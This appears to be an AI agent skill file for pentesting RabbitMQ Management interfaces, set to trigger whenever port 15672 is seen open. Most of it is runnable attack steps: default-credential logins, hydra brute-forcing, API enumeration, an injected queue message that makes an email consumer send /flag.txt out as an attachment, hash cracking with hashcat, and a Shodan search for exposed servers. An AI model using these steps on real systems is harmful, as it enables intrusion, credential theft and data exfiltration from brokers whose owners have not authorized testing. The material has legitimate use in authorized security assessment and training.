rabbitmq-pentest

name	rabbitmq-pentest
description	Pentest RabbitMQ Management interfaces on port 15672. Use this skill whenever you need to assess RabbitMQ security, test default credentials, enumerate via the management API, publish messages to queues, or crack RabbitMQ authentication hashes. Trigger this for any RabbitMQ exposure, AMQP service testing, or when you see port 15672 open.

RabbitMQ Management Pentesting

This skill helps you assess and exploit RabbitMQ Management interfaces (port 15672) when the management plugin is enabled.

Quick Start

# Check if RabbitMQ Management is exposed
nmap -p 15672 <target>

# Test default credentials
curl -u guest:guest http://<target>:15672/api/overview

Enumeration

1. Check Management Console

The RabbitMQ Management web console runs on port 15672. Access it at:

http://<target>:15672/

2. Test Default Credentials

Default credentials are often unchanged:

• Username: guest
• Password: guest

Test with:

curl -u guest:guest http://<target>:15672/api/overview
curl -u guest:guest http://<target>:15672/api/connections

3. Brute-Force Authentication

If defaults fail, try brute-forcing the login form:

# Using hydra
hydra -L userlist.txt -P passlist.txt <target> http-post-form /login:username=^USER^&password=^PASS^:F=login

# Using burp suite or similar tools against the login endpoint

4. API Enumeration

Once authenticated, explore these endpoints:

# Get overview of the RabbitMQ server
curl -u <user>:<pass> http://<target>:15672/api/overview

# List all connections
curl -u <user>:<pass> http://<target>:15672/api/connections

# List all queues
curl -u <user>:<pass> http://<target>:15672/api/queues/%2F

# List all exchanges
curl -u <user>:<pass> http://<target>:15672/api/exchanges/%2F

# List all vhosts
curl -u <user>:<pass> http://<target>:15672/api/vhosts

Exploitation

Publish Messages to Queues

You can publish data to queues via the API. This can be used for:

• Testing message injection
• Sending malicious payloads
• Exfiltrating data through message attachments

# Basic message publishing
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
Host: <target>:15672
Authorization: Basic <base64-credentials>
Accept: */*
Content-Type: application/json;charset=UTF-8

{
  "vhost": "/",
  "name": "amq.default",
  "properties": {
    "delivery_mode": 1,
    "headers": {}
  },
  "routing_key": "<queue-name>",
  "payload": "<your-message>",
  "payload_encoding": "string"
}

Example with file exfiltration attempt:

curl -X POST \
  -u guest:guest \
  -H "Content-Type: application/json" \
  -d '{
    "vhost":"/",
    "name":"amq.default",
    "properties":{"delivery_mode":1,"headers":{}},
    "routing_key":"email",
    "payload":"{\"to\":\"[e-mail]\", \"attachments\": [{\"path\": \"/flag.txt\"}]}",
    "headers":{},
    "props":{},
    "payload_encoding":"string"
  }' \
  http://<target>:15672/api/exchanges/%2F/amq.default/publish

Hash Cracking

If you capture RabbitMQ authentication hashes, crack them:

# Decode and format the hash
echo <base64-rabbitmq-hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt

# Crack with hashcat (mode 1420 = RabbitMQ 3.x)
hashcat -m 1420 --hex-salt hash.txt /path/to/wordlist.txt

Post-Exploitation

Enable Management Plugin (if you have shell access)

rabbitmq-plugins enable rabbitmq_management
service rabbitmq-server restart

Reconnaissance via Shodan

Find exposed RabbitMQ instances:

shodan search "port:15672 http"

Common Vulnerabilities

1. Default credentials - guest:guest is often unchanged
2. Unauthenticated API access - some endpoints may not require auth
3. Message injection - publishing arbitrary messages to queues
4. Information disclosure - API reveals internal topology
5. Weak authentication - susceptible to brute-force attacks

Testing Checklist

• Port 15672 is open and accessible
• Test default credentials (guest:guest)
• Attempt brute-force if defaults fail
• Enumerate via API endpoints
• Check for message injection capabilities
• Capture and crack any authentication hashes
• Document all findings

Notes

• RabbitMQ Management requires the rabbitmq_management plugin to be enabled
• The management interface is typically bound to localhost by default - check if it's exposed externally
• Always have proper authorization before testing
• Document your findings for the client